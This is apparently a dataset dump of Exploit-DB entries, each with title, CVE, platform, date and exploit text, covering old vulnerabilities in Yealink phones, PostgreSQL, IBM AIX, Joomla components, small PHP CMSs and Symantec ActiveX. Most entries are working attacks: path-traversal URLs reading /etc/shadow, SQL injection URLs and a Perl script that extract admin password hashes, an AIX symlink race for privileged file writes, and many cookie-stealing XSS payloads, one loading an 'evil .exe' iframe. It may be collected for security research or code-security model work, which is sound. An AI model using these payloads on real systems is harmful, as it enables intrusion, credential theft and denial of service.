QLWD/code_shield huggingface dataset:
标题: Yealink VoIP Phone SIP-T38G - Local File Inclusion EDB-ID: 33740 CVE: 2013-5757 2013-5756 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-06-13 漏洞利用脚本: Title: Yealink VoIP Phone SIP-T38G Local File Inclusion
Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team
Vendor Homepage: http://www.yealink.com/Companyprofile.aspx
Version: VoIP Phone SIP-T38G
CVE: CVE-2013-5756, CVE-2013-5757

Description:

Web interface contain a vulnerability that allow any page to be included.
We are able to disclose /etc/passwd & /etc/shadow

POC:
Using the page parameter (CVE-2013-5756):
http://
[host]/cgi-bin/cgiServer.exx?page=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
http://
[host]/cgi-bin/cgiServer.exx?page=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow

Using the command parameter (CVE-2013-5757):
http://[host]/cgi-bin/cgiServer.exx?command=dumpConfigFile("/etc/shadow")

*By viewing the shadow file we are able to conclude that cgiServer.exx run
under the root privileges. This lead to CVE-2013-5759. URL: https://www.exploit-db.com/exploits/33740
标题: PostgreSQL 8.4.1 - JOIN Hashtable Size Integer Overflow Denial of Service EDB-ID: 33729 CVE: 2010-0733 类型: DOS 平台: MULTIPLE 发布日期: 2014-06-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/38619/info

PostgreSQL is prone to a remote denial-of-service vulnerability because it fails to properly validate user-supplied data before using it in memory-allocation calculations.

An attacker can exploit this issue to cause the affected application to crash. Due to the nature of this issue, remote code execution may be possible; this has not been confirmed. 

SELECT * from B AS alias0 LEFT JOIN BB AS alias1 LEFT JOIN B
AS alias2 LEFT JOIN A AS alias3 LEFT JOIN AA AS alias4 LEFT JOIN B
AS alias5 ON alias4.int_key = alias5.int_key ON alias3.int_key =
alias4.int_key LEFT JOIN AA AS alias6 LEFT JOIN A AS alias7 ON
alias6.int_key = alias7.int_key LEFT JOIN BB AS alias8 ON alias7.int_key
= alias8.int_key ON alias3.int_key = alias8.int_key LEFT JOIN AA AS
alias9 ON alias6.int_key = alias9.int_key ON alias2.int_key =
alias8.int_key LEFT JOIN BB AS alias10 LEFT JOIN AA AS alias11 LEFT
JOIN B AS alias12 ON alias11.int_key = alias12.int_key ON alias10.int_key
= alias11.int_key ON alias9.int_key = alias10.int_key ON alias1.int_key =
alias8.int_key LEFT JOIN BB AS alias13 LEFT JOIN A AS alias14
LEFT JOIN AA AS alias15 LEFT JOIN A AS alias16 ON alias15.int_key =
alias16.int_key LEFT JOIN B AS alias17 ON alias15.int_key =
alias17.int_key ON alias14.int_key = alias16.int_key LEFT JOIN AA AS
alias18 ON alias14.int_key = alias18.int_key LEFT JOIN B AS alias19 ON
alias15.int_key = alias19.int_key LEFT JOIN AA AS alias20 ON
alias16.int_key = alias20.int_key ON alias13.int_key = alias19.int_key
LEFT JOIN A AS alias21 ON alias13.int_key = alias21.int_key ON
alias3.int_key = alias17.int_key LEFT JOIN B AS alias22 ON alias7.int_key
= alias22.int_key LEFT JOIN A AS alias23 ON alias20.int_key =
alias23.int_key LEFT JOIN A AS alias24 ON alias14.int_key =
alias24.int_key LEFT JOIN BB AS alias25 LEFT JOIN BB AS alias26 ON
alias25.int_key = alias26.int_key LEFT JOIN A AS alias27 LEFT JOIN
A AS alias28 ON alias27.int_key = alias28.int_key LEFT JOIN B AS alias29
LEFT JOIN BB AS alias30 LEFT JOIN B AS alias31 LEFT JOIN A AS
alias32 LEFT JOIN B AS alias33 ON alias32.int_key = alias33.int_key LEFT
JOIN A AS alias34 ON alias32.int_key = alias34.int_key ON alias31.int_key
= alias33.int_key ON alias30.int_key = alias33.int_key ON alias29.int_key
= alias34.int_key ON alias27.int_key = alias34.int_key LEFT JOIN AA AS
alias35 LEFT JOIN A AS alias36 ON alias35.int_key = alias36.int_key ON
alias34.int_key = alias36.int_key LEFT JOIN A AS alias37 ON
alias33.int_key = alias37.int_key ON alias25.int_key = alias32.int_key
LEFT JOIN A AS alias38 ON alias37.int_key = alias38.int_key ON
alias15.int_key = alias37.int_key ON alias0.int_key = alias9.int_key URL: https://www.exploit-db.com/exploits/33729
标题: IBM AIX 6.1.8 - 'libodm' Arbitrary File Write EDB-ID: 33725 CVE: 2014-3977 2012-2179 类型: LOCAL 平台: AIX 发布日期: 2014-06-12 漏洞利用脚本: Vulnerability title: Privilege Escalation in IBM AIX
CVE: CVE-2014-3977
Vendor: IBM
Product: AIX
Affected version: 6.1.8 and later
Fixed version: N/A
Reported by: Tim Brown

Details:

It has been identified that libodm allows privilege escalation via
arbitrary file writes with elevated privileges (utilising SetGID and
SetUID programs). The following will cause a new file /etc/pwned to be
created with permissions of rw-rw-rw:

#include <stdlib.h> #include <unistd.h> #include <stdio.h> int
pwnedflag; int main(int argc, char **argv) { pwnedflag = 0; umask(0); if
(fork()) { setenv("ODMERR", "1", 1); while (!pwnedflag) { if
(!access("/etc/pwned", F_OK)) { pwnedflag = 1; printf("Race
won...\r\n"); unsetenv("ODMERR"); exit(EXIT_SUCCESS); }
system("/usr/bin/at"); } } else { while (!pwnedflag) {
symlink("/etc/pwned", "ODMTRACE0"); if (!access("/etc/pwned", F_OK)) {
pwnedflag = 1; printf("Race won...\r\n"); exit(EXIT_SUCCESS); }
unlink("ODMTRACE0"); } } }

It is believed this is a side affect of CVE-2012-2179 being incorrectly
resolved. As understood, prior to CVE-2012-2179 being fixed, libodm
would simply open ODMTRACE0 and write to it assuming ODMERR=1. It is
believed that the fix that was applied was to check for the presence of
ODMTRACE0 and increment until no file was found. It is necessary to win
a time of check, time of use race condition by creating a symlink from
the ODMTRACE0 in the current working directory to the target file under
hoping that the link will be added after the check has been made that
ODMTRACE0 does not exist.
        

Further details at:
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-3977/


Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights
reserved worldwide. Permission is hereby granted for the electronic
redistribution of this information. It is not to be edited or altered in
any way without the express written consent of Portcullis Computer
Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties, implied or otherwise, with regard to this information
or its use. Any use of this information is at the user's risk. In no
event shall the author/distributor (Portcullis Computer Security
Limited) be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information. URL: https://www.exploit-db.com/exploits/33725
标题: SHOUTcast DNAS 2.2.1 - Persistent Cross-Site Scripting EDB-ID: 33714 CVE: 2014-4166 类型: WEBAPPS 平台: PHP 发布日期: 2014-06-11 漏洞利用脚本: # Exploit Title: SHOUTcast DNAS v2.2.1 win32 XSS\HTML Injection in Song history  (other version may be also affected)
# Date: 2014-06-11 
# Exploit Author: robercik101
# Vendor Homepage: http://www.shoutcast.com/ ?t=373139
# Software Link: http://forums.winamp.com/showthread.php?t=373139
# Version: 2.2.1 for Win32
# Tested on: Windows 8.1
There is an XSS\HTML Injection in a song history in song history, allowing inject a JavaScript script or HTML code in site.
PoC:
1. Open yours MP3 file setting, and open details overlap.
2. In the title field enter your HTML code
3. Start streaming your MP3 file via Winamp with SHOUTcast Source DSP 
4. Open your SHOUTcast page (default: localhost:8000) in your favourite Internet browser, login to server (if it needed) and open Song history.
And it is all
http://robercik101.tk URL: https://www.exploit-db.com/exploits/33714
标题: eFront 3.6.14.4 - 'surname' Persistent Cross-Site Scripting EDB-ID: 33697 CVE: 2014-4033 类型: WEBAPPS 平台: PHP 发布日期: 2014-06-09 漏洞利用脚本: # Exploit Title: Persistent Cross Site Scripting Vulnerability in eFront
3.6.14.4
# Date: 05 June 2014
# Exploit Author: shyamkumar somana
# Vendor Homepage: http://www.efrontlearning.net
# Software Link:
https://sourceforge.net/projects/efrontlearning/files/latest/download
# Version: 3.6.14.4
# Tested on: Windows 7

#################################################
eFront 3.6.14.4 is vulnerable for a Persistent Cross Site Scripting
Vulnerability.
The vulnerability affects 'surname' parameter(Last Name Field) while
updating the account details.

Vendor has supplied a workaround for the vulnerability which can be found
at

https://github.com/epignosis/efront_open_source/issues/5

#################################################
Greetz : oldmanlab, Jinen Patel URL: https://www.exploit-db.com/exploits/33697
标题: ZeroCMS 1.0 - 'zero_view_article.php' SQL Injection EDB-ID: 33702 CVE: 2014-4034 类型: WEBAPPS 平台: PHP 发布日期: 2014-06-10 漏洞利用脚本: ZeroCMS 1.0 (article_id) SQL Injection Vulnerability


Vendor: Another Awesome Stuff
Product web page: http://www.aas9.in/zerocms/
Affected version: 1.0

Summary: ZeroCMS is a very simple Content Management
System built using PHP and MySQL.

Desc: Input passed via the 'article_id' GET parameter
to zero_view_article.php script is not properly sanitised
before being used in SQL queries. This can be exploited
to manipulate SQL queries by injecting arbitrary SQL code.

Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5186
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5186.php


09.06.2014

--


http://localhost/zerocms/zero_view_article.php?article_id=1337+union+all+select+concat(unhex(hex(cast(database()+as+char)))),2,3,4,5,6--
http://localhost/zerocms/zero_view_article.php?article_id=1337+union+all+select+(select+concat(unhex(hex(cast(zero_users.name+as+char))),0x20,0x7c,0x20,unhex(hex(cast(zero_users.password+as+char))))+from+`zcdb`.zero_users+limit 0,1),2,3,4,5,6-- URL: https://www.exploit-db.com/exploits/33702
标题: TRUC 0.11 - 'login_reset_password_page.php' Cross-Site Scripting EDB-ID: 33679 CVE: 2010-1095 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/38445/info

TRUC is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

TRUC 0.11.0 is vulnerable; other versions may also be affected.


http://www.example.com/truc/login_reset_password_page.php?failed=true&error="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/33679
标题: ARISg 5.0 - 'wflogin.jsp' Cross-Site Scripting EDB-ID: 33678 CVE: 2010-2130 类型: WEBAPPS 平台: JSP 发布日期: 2010-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/38441/info

ARISg is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ARISg 5.0 is vulnerable; other versions may also be affected. 

http://www.example.com/Aris/wflogin.jsp?errmsg=XSS msg<script>alert('Test XSS')</script> URL: https://www.exploit-db.com/exploits/33678
标题: PHP 5.3.1 - LCG Entropy Security EDB-ID: 33677 CVE: 2010-1128 类型: DOS 平台: PHP 发布日期: 2010-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/38430/info

PHP is prone to a security vulnerability that affects LCG (Linear Congruential) entropy.

Attackers can exploit this issue to steal sessions or other sensitive data.

Versions prior to PHP 5.2.13 are affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33677.tar.gz URL: https://www.exploit-db.com/exploits/33677
标题: IBM (Multiple Products) - Login Page Cross-Site Scripting EDB-ID: 33675 CVE: 2010-0714 类型: WEBAPPS 平台: JSP 发布日期: 2010-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/38412/info

Multiple IBM products are prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects IBM Lotus Web Content Management, WebSphere Portal, and Lotus Quickr. 


http://www.example.com/wps/wcm/webinterface/login/login.jsp?";><script>maliciou s_script</script><b%20"

http://www.example.com/wps/wcm/webinterface/login/login.jsp?"; style="tr:expression(malicious_script) URL: https://www.exploit-db.com/exploits/33675
标题: Joomla! Component HD FLV Player - 'id' SQL Injection EDB-ID: 33673 CVE: 2010-1372 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/38401/info

The HD FLV Player component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

#!/usr/bin/perl -w
 
###############################################################################################
#
# [~] Joomla Component com_hdflvplayer SQL injection exploit - (id)
# [~] Author    : kaMtiEz (kamzcrew@yahoo.com)
# [~] Homepage  : http://www.indonesiancoder.com
# [~] Date  : 15 February, 2010
#
###############################################################################################
#
# [ Software Information ]
#
# [+] Vendor : http://www.hdflvplayer.net/
# [+] Price : $ 99.00
# [+] Vulnerability : SQL injection
# [+] Dork : inurl:"CIHUY"
# [+] Type : commercial
#
###############################################################################################
#
# USAGE : perl kaMz.pl
#
###############################################################################################
 
print "\t\t[!]=========================================================[!]\n\n";
print "\t\t               [~]  INDONESIANCODER TEAM  [~]                  \n\n";
print "\t\t[!]=========================================================[!]\n\n";
print "\t\t  [!]Joomla component com_hdflvplayer SQL injection exploit[!] \n\n";
print "\t\t                      [~] by kaMtiEz [~]                       \n\n";
print "\t\t[!]=========================================================[!]\n\n";
  
use LWP::UserAgent;
  
print "\nsite/path[!]http://www.indonesiancoder.com/kaMz/[!]:";
chomp(my $IBL13Z=<STDIN>);
  
$kaMtiEz="concat(username,0x3a,password)";
$tukulesto="jos_users";
$pathloader="com_hdflvplayer";
 
$r3m1ck = LWP::UserAgent->new() or die "Could not initialize browser\n";
$r3m1ck->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
  
$arianom = $IBL13Z . "/index.php?option=".$pathloader."&id=1+AND+1=2+UNION+SELECT+".$kaMtiEz.",1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+".$tukulesto."--";
$gonzhack = $r3m1ck->request(HTTP::Request->new(GET=>$arianom));
$contrex = $gonzhack->content; if ($contrex =~/([0-9a-fA-F]{32})/){
print "\n[+] CIHUY Admin Password Nya GAN [+]: $1\n\n";
}
else{print "\n[+] Exploit GAGAL GAN ![+]\n";
}
 
##############################################################################################
#
# GREETZZZZZ :
#
# INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
# tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack
# Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah,ibl13z,r3m1ck
# Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk
#
############################################################################################## URL: https://www.exploit-db.com/exploits/33673
标题: Mozilla Firefox 3.5.8 - Style Sheet redirection Information Disclosure EDB-ID: 33664 CVE: 2010-0655 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/38369/info

Mozilla Firefox is prone to a remote information-disclosure vulnerability.

Attackers can exploit this issue to obtain potentially sensitive information that may lead to further attacks. 

<link rel="stylesheet" type="text/css" href="http://www.example.com"> Hola <script language="javascript"> setTimeout("alert(document.styleSheets[0].href)", 10000); //setTimeout is used just to wait for page loading </script> URL: https://www.exploit-db.com/exploits/33664
标题: Subex Nikira Fraud Management System GUI - 'message' Cross-Site Scripting EDB-ID: 33657 CVE: 2010-0706 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/38311/info

The Subex Nikira Fraud Management System GUI is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 


http://www.example.com/login/prompt?message=%3Cscript%3Ealert%28%27Reflected%20XSS%27%29%3C/script%3E URL: https://www.exploit-db.com/exploits/33657
标题: XlentProjects SphereCMS 1.1 - 'archive.php' SQL Injection EDB-ID: 33656 CVE: 2010-1078 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/38309/info

SphereCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SphereCMS 1.1 Alpha is vulnerable; other versions may also be affected. 

The following example URI is available:

http://www.example.com/archive.php?view=*** URL: https://www.exploit-db.com/exploits/33656
标题: WampServer 2.0i - 'lang' Cross-Site Scripting EDB-ID: 33662 CVE: 2010-0700 类型: REMOTE 平台: WINDOWS 发布日期: 2010-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/38357/info

WampServer is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

WampServer 2.0i is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?lang=%3Cscript%3Ealert%28%22ZSL%20Testingz%22%29%3C/script%3E
http://www.example.com/index.php?lang=%3Ciframe%20height=%220%22%20width=%220%22%20frameborder=%220%22%20src=%22http://[evil .exe link]%22%3E%3C/iframe%3E URL: https://www.exploit-db.com/exploits/33662
标题: PortWise SSL VPN 4.6 - 'reloadFrame' Cross-Site Scripting EDB-ID: 33653 CVE: 2010-0703 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/38308/info

PortWise SSL VPN is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PortWise SSL VPN 4.6 is vulnerable; other versions may also be affected.

https://www/example.com/wa/auth?&authmech=Assess&reloadFrame=%22;%3Cscript%3Eblah%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/33653
标题: Symantec (Multiple Products) - Client Proxy ActiveX 'CLIproxy.dll' Remote Overflow EDB-ID: 33642 CVE: 2010-0108 类型: REMOTE 平台: WINDOWS 发布日期: 2010-02-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/38222/info

The Symantec Client Proxy ActiveX control is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Successful exploits allow remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts will likely result in denial-of-service conditions.

The following are vulnerable:

Symantec AntiVirus 10.0.x and 10.1.x prior to 10.1 MR9
Symantec AntiVirus 10.2.x prior to 10.2 MR4
Symantec Client Security 3.0.x and 3.1.x prior to 3.1 MR9 

<html> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:E381F1C0-910E-11D1-AB1E-00A0C90F8F6F' id='target' /> <script language='vbscript'> arg1=String(7188, "A") target.SetRemoteComputerName arg1 </script> </html> URL: https://www.exploit-db.com/exploits/33642
标题: Basic-CMS - 'nav_id' Cross-Site Scripting EDB-ID: 33644 CVE: 2010-0695 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/38235/info

Basic-CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/pages/index.php?&nav_id=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/33644
标题: BGSvetionik BGS CMS - 'search' Cross-Site Scripting EDB-ID: 33649 CVE: 2010-0675 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/38264/info

BGSvetionik BGS CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/?action=search&search=[XSS] URL: https://www.exploit-db.com/exploits/33649
标题: Joomla! Component Webee Comments 1.1/1.2 - Multiple BBCode Tags Cross-Site Scripting Vulnerabilities EDB-ID: 33638 CVE: 2009-4651 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/38204/info
 
The Joomla! Webee component is prone to an SQL-injection vulnerability and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage the HTML-injection issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.
 
The attacker may exploit the SQL-injection issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Webee 1.1.1 is vulnerable to all these issues. Webee 1.2 is reportedly affected by the SQL-injection issue and possibly the HTML-injection issues as well.
 
[color=red;xss:expression(window.r?0:(alert(String.fromCharCode(88,83,83)),window.r=1))]XSS[/color]
[img]http://foo.com/fake.png"/onerror="alert(String.fromCharCode(88,83,83))[/img]
[url="/onmouseover="alert(String.fromCharCode(88,83,83))]XSS[/url] URL: https://www.exploit-db.com/exploits/33638